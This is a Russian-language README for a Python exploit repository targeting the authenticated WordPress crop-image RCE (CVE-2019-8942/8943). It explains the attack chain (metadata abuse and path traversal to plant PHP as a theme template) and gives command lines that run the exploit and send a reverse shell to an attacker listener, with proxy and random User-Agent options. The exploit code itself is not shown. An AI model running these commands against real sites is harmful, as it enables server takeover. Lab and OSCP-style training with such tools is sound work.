WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

Реализация на Python3 аутентифицированной эксплуатационной цепочки crop-image для WordPress. Репозиторий организован вокруг двух независимых рабочих процессов: ручного скрипта в стиле OSCP и полностью автоматизированного скрипта со встроенным обработчиком обратной оболочки.

Используйте это только в авторизованных лабораториях, CTF, обучающих платформах или системах, на которые у вас есть явное разрешение для тестирования.

Затронутые версии WordPress

Эксплуатационная цепочка нацелена на уязвимости, отслеживаемые как:

CVE-2019-8942
CVE-2019-8943

Публичный модуль Metasploit для этой уязвимости описывает затронутые версии следующим образом:

WordPress 5.0.0 and WordPress <= 4.9.8

Требуется действительная учётная запись WordPress с правами на загрузку/редактирование медиафайлов. Во многих лабораторных средах достаточно пользователя уровня Author.

Структура репозитория

.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg — это стандартный JPG-носитель, используемый скриптом в стиле OSCP. Он включён, чтобы ручной рабочий процесс работал «из коробки» без необходимости искать случайное изображение.

autoexploit.py является самодостаточным и содержит собственный шестнадцатеричный JPG-носитель внутри, но также может принимать пользовательский JPG с помощью -i.

Установка

python3 -m pip install -r requirements.txt

Единственный требуемый пакет Python:

requests

Если вам нужна поддержка SOCKS-прокси, установите requests с расширениями SOCKS в вашем окружении:

python3 -m pip install 'requests[socks]'

Выбор скрипта

Скрипт	Для чего лучше всего подходит	Работа с изображением	Работа с оболочкой
`exploit_oscp.py`	Ручная эксплуатация в стиле OSCP	По умолчанию использует `image.jpg` или `-i custom.jpg`	Вы запускаете `nc` вручную
`autoexploit.py`	Быстрое использование в лабораториях и повторное тестирование	По умолчанию использует встроенный шестнадцатеричный JPG или `-i custom.jpg`	Запускает слушатель, инициирует обратные вызовы и открывает интерактивную консоль

Оба скрипта являются независимыми. Ни один из них не импортирует код из другого.

Рабочий процесс в стиле OSCP

exploit_oscp.py делает рабочий процесс явным. Он подготавливает носитель изображения, выполняет аутентифицированную эксплуатационную цепочку WordPress, подтверждает выполнение команд и запускает обратную оболочку на слушатель, который вы запустили вручную.

Он не запускает обработчик автоматически и не использует Metasploit, Meterpreter или msfvenom.

Базовое использование OSCP

Сначала запустите свой слушатель:

nc -lvnp 443

Запустите эксплойт, используя стандартный image.jpg:

python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Использование OSCP с пользовательским JPG

nc -lvnp 443

python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

Параметры OSCP

Параметр	Обязательный	По умолчанию	Описание
`-t`, `--target`	Да	Нет	Базовый URL целевого WordPress, например `http://target.local/`
`-u`, `--username`	Да	Нет	Имя пользователя WordPress
`-p`, `--password`	Да	Нет	Пароль WordPress
`-i`, `--image`	Нет	`image.jpg`	JPG-носитель для подготовки и загрузки
`--lhost`	Да	Нет	Ваш IP для обратного вызова, обычно ваш VPN/tun0 IP
`--lport`	Да	Нет	Порт, на котором ожидает ваш ручной слушатель
`--proxy`	Нет	Нет	URL прокси, например `http://127.0.0.1:8080` или `socks5://127.0.0.1:9050`
`--user-agent`	Нет	Встроенный	Пользовательский заголовок User-Agent
`--random-user-agent`	Нет	Отключено	Использовать случайный User-Agent, подобный браузерному
`--timeout`	Нет	`20`	Тайм-аут HTTP в секундах
`--debug`	Нет	Отключено	Выводить отладочную информацию HTTP и сохранять полезные ответы при ошибках

Пример OSCP с Burp

python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Полностью автоматизированный рабочий процесс

autoexploit.py создан для скорости. Он может работать только с учётными данными цели и попытается автоматически выбрать IP для обратного вызова и порт слушателя.

Он выполняет полный цикл эксплуатации, запускает локальный слушатель, пробует несколько стилей нагрузок обратной оболочки и открывает более чистую интерактивную консоль с цветными сообщениями о локальном статусе и тихой обработкой обновления TTY.

Базовое автоматизированное использование

python3 autoexploit.py -t http://target.local/ -u username -p password

Автоматизированное использование с явными значениями обратного вызова

python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Автоматизированное использование с пользовательским изображением и прокси

python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Параметры автоматизации

Параметр	Обязательный	По умолчанию	Описание
`-t`, `--target`	Да	Нет	Базовый URL целевого WordPress
`-u`, `--username`	Да	Нет	Имя пользователя WordPress
`-p`, `--password`	Да	Нет	Пароль WordPress
`-i`, `--image`	Нет	Встроенный шестнадцатеричный JPG	Дополнительный пользовательский JPG-носитель
`--lhost`	Нет	Автоопределение	IP для обратного вызова, используемый обратной оболочкой
`--lport`	Нет	Свободный локальный порт	Порт локального слушателя
`--listen-timeout`	Нет	`12`	Секунд ожидания для каждой попытки обратной оболочки
`--proxy`	Нет	Нет	URL прокси, например `http://127.0.0.1:8080` или `socks5://127.0.0.1:9050`
`--user-agent`	Нет	Встроенный	Пользовательский заголовок User-Agent
`--random-user-agent`	Нет	Отключено	Использовать случайный User-Agent, подобный браузерному
`--timeout`	Нет	`20`	Тайм-аут HTTP в секундах
`--debug`	Нет	Отключено	Выводить отладочную информацию HTTP и сохранять полезные ответы при ошибках

Примеры прокси и User-Agent

HTTP-прокси через Burp:

python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS-прокси:

python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

Пользовательский User-Agent:

python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

Случайный User-Agent:

python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Почему изображение имеет значение

Это не обычная загрузка PHP. WordPress ожидает содержимое изображения, обрабатывает файл через редактор медиафайлов и создаёт обрезанное изображение. Затем эксплуатационная цепочка злоупотребляет метаданными вложений и обходом пути, чтобы поместить обрезанное изображение в каталог активной темы. Наконец, обрезанный файл указывается как шаблон страницы, поэтому WordPress включает его как PHP.

Случайный JPG с PHP, помещённым в хрупкие метаданные EXIF, может не сработать, потому что GD может удалить или перекодировать метаданные во время обработки обрезки. Этот репозиторий сохраняет рабочий процесс понятным:

WordPress-RCE-CVE-2019-8942

Популярное